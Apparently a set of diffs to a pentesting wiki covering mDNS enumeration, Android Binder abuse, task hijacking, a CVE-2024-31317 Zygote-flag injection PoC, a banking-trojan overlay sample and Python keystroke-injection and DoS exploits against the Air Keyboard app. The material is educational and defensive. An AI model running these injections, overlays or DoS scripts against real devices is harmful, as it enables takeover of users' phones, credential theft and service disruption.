```bash
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
|
||||
The `dns-service-discovery` script sends a `_services._dns-sd._udp.local` query and then enumerates each advertised service type.
|
||||
|
||||
* **mdns_recon** – Python tool that scans entire ranges looking for *misconfigured* mDNS responders that answer unicast queries (useful to find devices reachable across subnets/WAN):
|
||||
|
||||
```bash
|
||||
git clone https://github.com/chadillac/mdns_recon && cd mdns_recon
|
||||
python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
```
|
||||
|
||||
This will return hosts exposing SSH via Bonjour outside the local link.
|
||||
|
||||
### Security considerations & recent vulnerabilities (2024-2025)
|
||||
|
||||
| Year | CVE | Severity | Issue | Patched in |
|
||||
|------|-----|----------|-------|------------|
|
||||
|2024|CVE-2024-44183|Medium|A logic error in *mDNSResponder* allowed a crafted packet to trigger a **denial-of-service**|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Sep 2024) |
|
||||
|2025|CVE-2025-31222|High|A correctness issue in *mDNSResponder* could be abused for **local privilege escalation**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (May 2025) |
|
||||
|
||||
**Mitigation guidance**
|
||||
|
||||
1. Restrict UDP 5353 to *link-local* scope – block or rate-limit it on wireless controllers, routers, and host-based firewalls.
|
||||
2. Disable Bonjour entirely on systems that do not require service discovery:
|
||||
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. For environments where Bonjour is required internally but must never cross network boundaries, use *AirPlay Receiver* profile restrictions (MDM) or an mDNS proxy.
|
||||
4. Enable **System Integrity Protection (SIP)** and keep macOS up to date – both vulnerabilities above were patched quickly but relied on SIP being enabled for full protection.
|
||||
|
||||
### Disabling Bonjour
|
||||
|
||||
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
|
||||
@ -124,8 +183,7 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
|
||||
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
|
||||
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
- [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||
- [**NVD – CVE-2023-42940**](https://nvd.nist.gov/vuln/detail/CVE-2023-42940)
|
||||
- [**NVD – CVE-2024-44183**](https://nvd.nist.gov/vuln/detail/CVE-2024-44183)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -395,6 +395,112 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Enumerating and Exploiting AIDL / Binder Services
|
||||
|
||||
Android *Binder* IPC exposes many **system and vendor-provided services**. Those services become an **attack surface** when they are exported without a proper permission check (the AIDL layer itself performs *no* access-control).
|
||||
|
||||
### 1. Discover running services
|
||||
|
||||
```bash
|
||||
# from an adb shell (USB or wireless)
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
|
||||
Output is a numbered list such as:
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
```
|
||||
* The **index** (first column) is assigned at runtime – do ***not*** rely on it across reboots.
|
||||
* The **Binder name** (e.g. `mtkconnmetrics`) is what will be passed to `service call`.
|
||||
* The value inside the brackets is the fully-qualified **AIDL interface** that the stub was generated from.
|
||||
|
||||
### 2. Obtain the interface descriptor (PING)
|
||||
Every Binder stub automatically implements **transaction code `0x5f4e5446`** (`1598968902` decimal, ASCII "_NTF").
|
||||
|
||||
```bash
|
||||
# "ping" the service
|
||||
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
```
|
||||
A valid reply returns the interface name encoded as a UTF-16 string inside a `Parcel`.
|
||||
|
||||
### 3. Calling a transaction
|
||||
Syntax: `service call <name> <code> [type value ...]`
|
||||
|
||||
Common argument specifiers:
|
||||
* `i32 <int>` – signed 32-bit value
|
||||
* `i64 <long>` – signed 64-bit value
|
||||
* `s16 <string>` – UTF-16 string (Android 13+ uses `utf16`)
|
||||
|
||||
Example – start network monitoring with uid **1** on a MediaTek handset:
|
||||
```bash
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
|
||||
### 4. Brute-forcing unknown methods
|
||||
When header files are unavailable you can **iterate the code** until the error changes from:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
```
|
||||
to a normal `Parcel` response or `SecurityException`.
|
||||
|
||||
```bash
|
||||
for i in $(seq 1 50); do
|
||||
printf "[+] %2d -> " $i
|
||||
service call mtkconnmetrics $i 2>/dev/null | head -1
|
||||
done
|
||||
```
|
||||
|
||||
If the service was compiled **with proguard** the mapping must be guessed – see next step.
|
||||
|
||||
### 5. Mapping codes ↔ methods via onTransact()
|
||||
Decompile the jar/odex that implements the interface (for AOSP stubs check `/system/framework`; OEMs often use `/system_ext` or `/vendor`).
|
||||
Search for `Stub.onTransact()` – it contains a giant `switch(transactionCode)`:
|
||||
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
data.enforceInterface(DESCRIPTOR);
|
||||
int appId = data.readInt();
|
||||
boolean ok = data.readInt() != 0;
|
||||
updateCtaAppStatus(appId, ok);
|
||||
reply.writeNoException();
|
||||
return true;
|
||||
```
|
||||
|
||||
Now the prototype and **parameter types** are crystal clear.
|
||||
|
||||
### 6. Spotting missing permission checks
|
||||
The implementation (often an inner `Impl` class) is responsible for authorisation:
|
||||
|
||||
```java
|
||||
private void updateCtaAppStatus(int uid, boolean status) {
|
||||
if (!isPermissionAllowed()) {
|
||||
throw new SecurityException("uid " + uid + " rejected");
|
||||
}
|
||||
/* privileged code */
|
||||
}
|
||||
```
|
||||
Absence of such logic or a whitelist of privileged UIDs (e.g. `uid == 1000 /*system*/`) is a **vulnerability indicator**.
|
||||
|
||||
Case study – *MediaTek* `startMonitorProcessWithUid()` (transaction **8**) fully executes a Netlink message **without** any permission gate, allowing an unprivileged app to interact with the kernel’s Netfilter module and spam the system log.
|
||||
|
||||
### 7. Automating the assessment
|
||||
Tools / scripts that speed-up Binder reconnaissance:
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – exposes `/dev/binderfs` with per-service nodes
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – walks the binder table and prints ACLs
|
||||
* Frida shortcut: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [Android Services 101 – Pentest Partners](https://www.pentestpartners.com/security-blog/android-services-101/)
|
||||
- [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
|
||||
- [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
|
||||
- [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -74,14 +74,45 @@ The vulnerability reported in the **Caller ID (caller.id.phone.number.block)** a
|
||||
|
||||
---
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack
|
||||
|
||||
Google’s May-2020 security bulletin fixed a more advanced variant dubbed **StrandHogg 2.0**. The exploit **does not rely on `taskAffinity` at all**; instead it uses *reflection* to dynamically insert the attacker’s activity at the top of *every* running task, completely bypassing the “shared-UID” restriction introduced by Android 11.
|
||||
|
||||
Key points:
|
||||
|
||||
* A zero-permission malicious app can, once opened, iterate over running tasks and call hidden APIs to **re-parent** its own activity into any task.
|
||||
* Because the activity is inserted after run-time, neither `launchMode` nor static manifest analysis can detect the attack in advance.
|
||||
* Patched by back-porting a check into **Android 8.0/8.1/9** (May 2020 SPL). **Android 10 and later are not affected.**
|
||||
|
||||
Detection on pre-patched devices can be performed with `adb shell dumpsys activity activities` and watching for suspicious activities whose package name differs from the task’s *affinity*.
|
||||
|
||||
Mitigation for legacy devices is the same as classic Task Hijacking **plus** run-time verification (e.g. calling [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) and validating your own package name).
|
||||
|
||||
---
|
||||
|
||||
## Detection & Exploitation checklist
|
||||
|
||||
1. Pull `AndroidManifest.xml` from the target APK and check that each `<activity>` (or the global `<application>` element) contains `android:taskAffinity=""` (empty) **or** a customised value.
|
||||
2. If not, craft a malicious app:
|
||||
- `android:taskAffinity` = victim package name.
|
||||
- Provide a `MAIN/LAUNCHER` intent so the user can open it once.
|
||||
- Optionally call `moveTaskToBack(true)` to hide immediately.
|
||||
3. Let the victim open their legitimate application → hijack.
|
||||
1. **Static review** – Pull `AndroidManifest.xml` from the target APK and check that each `<activity>` (or the global `<application>` element) contains `android:taskAffinity=""` (empty) **or** a customised value. Tools such as:
|
||||
```bash
|
||||
# Using apkanalyzer (Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
|
||||
# Using AXMLPrinter2
|
||||
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```
|
||||
2. **Dynamic review** – On the device open the target app and list tasks:
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
A task whose root affinity equals the victim package but whose top activity belongs to a *different* package is a red flag.
|
||||
3. Craft a malicious app as described above, or use **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
|
||||
run app.activity.info com.victim
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mitigation
|
||||
|
||||
@ -90,6 +121,14 @@ Developers should:
|
||||
* Explicitly set `android:taskAffinity=""` at the `<application>` level (recommended) **or** give each activity a unique, private affinity.
|
||||
* For highly sensitive screens, combine the above with `android:launchMode="singleInstance"` or modern [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) protections.
|
||||
* Upgrade the app’s `targetSdkVersion` and enforce **Android 11** behavioural changes where tasks are not shared across packages by default.
|
||||
* Target **Android 12 (API 31) or higher** so that the mandatory `android:exported` attribute forces developers to audit every externally-reachable component.
|
||||
* Consider run-time self-defence: periodically query `ActivityTaskManager` to ensure that your top activity’s package matches your own.
|
||||
|
||||
---
|
||||
|
||||
## Related UI-Hijacking techniques
|
||||
|
||||
Task hijacking is often combined with or replaced by **tapjacking** (overlay-based UI deception). The 2025 **TapTrap** research showed that fully transparent *animation-driven* activities can bypass the overlay-touch restrictions introduced in Android 12–14 and still trick users into granting dangerous permissions. While TapTrap is not strictly *task* hijacking, the end-goal (phishing clicks) is identical – so modern assessments should check for both attack surfaces.
|
||||
|
||||
---
|
||||
|
||||
@ -99,5 +138,7 @@ Developers should:
|
||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||
- [Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
|
||||
- [USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,7 @@ Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass
|
||||
1. **Decompile the APK:**
|
||||
|
||||
- Utilize the APK-GUI tool for decompiling the APK.
|
||||
- In the _android-manifest_ file, insert `android:debuggable=true` to enable debugging mode.
|
||||
- In the _android-manifest_ file, insert `android:debuggable="true"` to enable debugging mode.
|
||||
- Recompile, sign, and zipalign the modified application.
|
||||
|
||||
2. **Install the Modified Application:**
|
||||
@ -30,7 +30,7 @@ Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass
|
||||
|
||||
- Command: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Note:** This command must be run each time before starting the application to ensure it waits for the debugger.
|
||||
- For persistence, use `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- For persistence, use `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||||
- To remove all flags, use `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Prepare for Debugging in Android Studio:**
|
||||
@ -83,12 +83,47 @@ A demonstration was provided using a vulnerable application containing a button
|
||||
|
||||
This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – Turning **any** application into a debuggable process (CVE-2024-31317)
|
||||
|
||||
Even if the target APK is _not_ shipped with the `android:debuggable` flag, recent research showed that it is possible to force **arbitrary applications** to start with the `DEBUG_ENABLE_JDWP` runtime flag by abusing the way Zygote parses command-line arguments.
|
||||
|
||||
* **Vulnerability:** Improper validation of `--runtime-flags` supplied through Zygote’s command socket allows an attacker that can reach `system_server` (for example via the privileged `adb` shell which owns the `WRITE_SECURE_SETTINGS` permission) to inject extra parameters. When the crafted command is replayed by `system_server`, the victim app is forked as _debuggable_ and with a JDWP thread listening. The issue is tracked as **CVE-2024-31317** and was fixed in the June 2024 Android Security Bulletin.
|
||||
* **Impact:** Full read/write access to the private data directory of **any** app (including privileged ones such as `com.android.settings`), token theft, MDM bypass, and in many cases a direct path to privilege-escalation by abusing exported IPC endpoints of the now-debuggable process.
|
||||
* **Affected versions:** Android 9 through 14 prior to the June 2024 patch level.
|
||||
|
||||
## Quick PoC
|
||||
|
||||
```bash
|
||||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||||
|
||||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||||
adb shell monkey -p com.victim.bank 1
|
||||
|
||||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||||
adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
|
||||
> The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible **without modifying the APK or the device boot image**.
|
||||
|
||||
## Detection & Mitigation
|
||||
|
||||
* Patch to **2024-06-01** (or later) security level – Google hardened `ZygoteCommandBuffer` so that subsequent commands cannot be smuggled in this way.
|
||||
* Restrict `WRITE_SECURE_SETTINGS` / `shell` access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps.
|
||||
* On EMM/MDM-managed fleets, enforce `ro.debuggable=0` and deny shell via `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -63,8 +63,49 @@ The mitigation is relatively simple as the developer may choose not to receive t
|
||||
>
|
||||
> To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window.
|
||||
|
||||
---
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
Besides classic Tapjacking, modern Android banking malware families (e.g. **ToxicPanda**, BrasDex, Sova, etc.) abuse the **Accessibility Service** to place a full-screen WebView **overlay** above the legitimate application while still being able to **forward the user input** to the view underneath. This dramatically increases believability and allows attackers to steal credentials, OTPs or even automate fraudulent transactions.
|
||||
|
||||
### How it works
|
||||
1. The malicious APK requests the highly-sensitive `BIND_ACCESSIBILITY_SERVICE` permission, usually hiding the request behind a fake Google/Chrome/PDF-viewer dialog.
|
||||
2. Once the user enables the service, the malware programmatically simulates the taps required to grant additional dangerous permissions (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. A **WebView** is inflated and added to the window manager using the **`TYPE_ACCESSIBILITY_OVERLAY`** window type. The overlay can be rendered totally opaque or semi-transparent and can be flagged as *“through”* so that the original touches are still delivered to the background activity (thus the transaction really happens while the victim only sees the phishing form).
|
||||
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
phishingView.loadUrl("file:///android_asset/bank_login.html");
|
||||
|
||||
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
WindowManager.LayoutParams.MATCH_PARENT,
|
||||
WindowManager.LayoutParams.MATCH_PARENT,
|
||||
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, // <-- bypasses SYSTEM_ALERT_WINDOW prompt
|
||||
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
|
||||
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL, // «through» flag → forward touches
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
|
||||
### Typical workflow used by banking Trojans
|
||||
* Query installed packages (`QUERY_ALL_PACKAGES`) to figure out which banking / wallet app is currently opened.
|
||||
* Download an **HTML/JS overlay template** from the C2 that perfectly imitates that specific application (Logo, colours, i18n strings…).
|
||||
* Display the overlay, harvest credentials/PIN/pattern.
|
||||
* Use the **Accessibility API** (`performGlobalAction`, `GestureDescription`) to automate transfers in the background.
|
||||
|
||||
### Detection & Mitigation
|
||||
* Audit the list of installed apps with `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* From the application side (bank / wallet):
|
||||
- Enable **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) on sensitive views to block non-Play-Store services.
|
||||
- Combine with `setFilterTouchesWhenObscured(true)` and `FLAG_SECURE`.
|
||||
* System hardening:
|
||||
- Disable *Install from Unknown Sources* & *Accessibility for untrusted apps*.
|
||||
- Enforce PlayProtect & up-to-date devices.
|
||||
|
||||
## References
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,21 +1,28 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
|
||||
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**.
|
||||
The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
|
||||
|
||||
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
|
||||
* **≤ 1.0.4** – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.
|
||||
* **≥ 1.0.5 (June 2025)** – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.
|
||||
|
||||
Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**.
|
||||
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).
|
||||
|
||||
> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store.
|
||||
|
||||
---
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
Scan the local network and look for the two fixed ports used by the apps:
|
||||
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
# iOS (unauthenticated input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
@ -24,16 +31,19 @@ nmap -p 55535 --open 192.168.1.0/24
|
||||
On Android handsets you can identify the responsible package locally:
|
||||
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
|
||||
## 2. Frame Format (iOS)
|
||||
On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||
|
||||
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
|
||||
---
|
||||
|
||||
## 2. Protocol Details (iOS)
|
||||
|
||||
### 2.1 Legacy (≤ 1.0.4) – custom binary frames
|
||||
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
@ -41,64 +51,139 @@ The binary reveals the following parsing logic inside the `handleInputFrame()` r
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
|
||||
The declared length includes the `device_id` byte **but not** the two-byte header itself.
|
||||
The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
|
||||
|
||||
### 2.2 Current (≥ 1.0.5) – JSON over WebSocket
|
||||
|
||||
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like:
|
||||
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
"text": "open -a Calculator\n",
|
||||
"mode": 0,
|
||||
"shiftKey": false,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}
|
||||
```
|
||||
|
||||
No handshake, token or signature is required – the first JSON object already triggers the UI event.
|
||||
|
||||
---
|
||||
|
||||
## 3. Exploitation PoC
|
||||
|
||||
### 3.1 Targeting ≤ 1.0.4 (raw TCP)
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
|
||||
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
|
||||
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
import json, sys, websocket # `pip install websocket-client`
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||
ws.send(json.dumps({
|
||||
"type": 1,
|
||||
"text": "https://evil.example\n",
|
||||
"mode": 0,
|
||||
"shiftKey": False,
|
||||
"selectionStart": 0,
|
||||
"selectionEnd": 0
|
||||
}))
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
|
||||
*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
|
||||
The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.
|
||||
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
|
||||
## 5. Root Cause
|
||||
---
|
||||
|
||||
1. **No origin / integrity checks** on incoming frames (iOS).
|
||||
## 5. Related Apps – A Recurring Anti-Pattern
|
||||
|
||||
Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 unauthenticated RCE & traffic snooping.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage.
|
||||
|
||||
These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
|
||||
|
||||
---
|
||||
|
||||
## 6. Root Causes
|
||||
|
||||
1. **No origin / integrity checks** on incoming frames (iOS).
|
||||
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
|
||||
3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
|
||||
|
||||
## 6. Mitigations & Hardening Ideas
|
||||
---
|
||||
|
||||
* Never expose unauthenticated services on a mobile handset.
|
||||
* Derive per-device secrets during onboarding and verify them before processing input.
|
||||
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
|
||||
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
|
||||
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
|
||||
## 7. Hardening & Defensive Measures
|
||||
|
||||
Developer recommendations:
|
||||
|
||||
* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
|
||||
* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
|
||||
* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
|
||||
* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
|
||||
|
||||
Blue-/Red-Team quick wins:
|
||||
|
||||
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
|
||||
* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
|
||||
* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services.
|
||||
* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
|
||||
|
||||
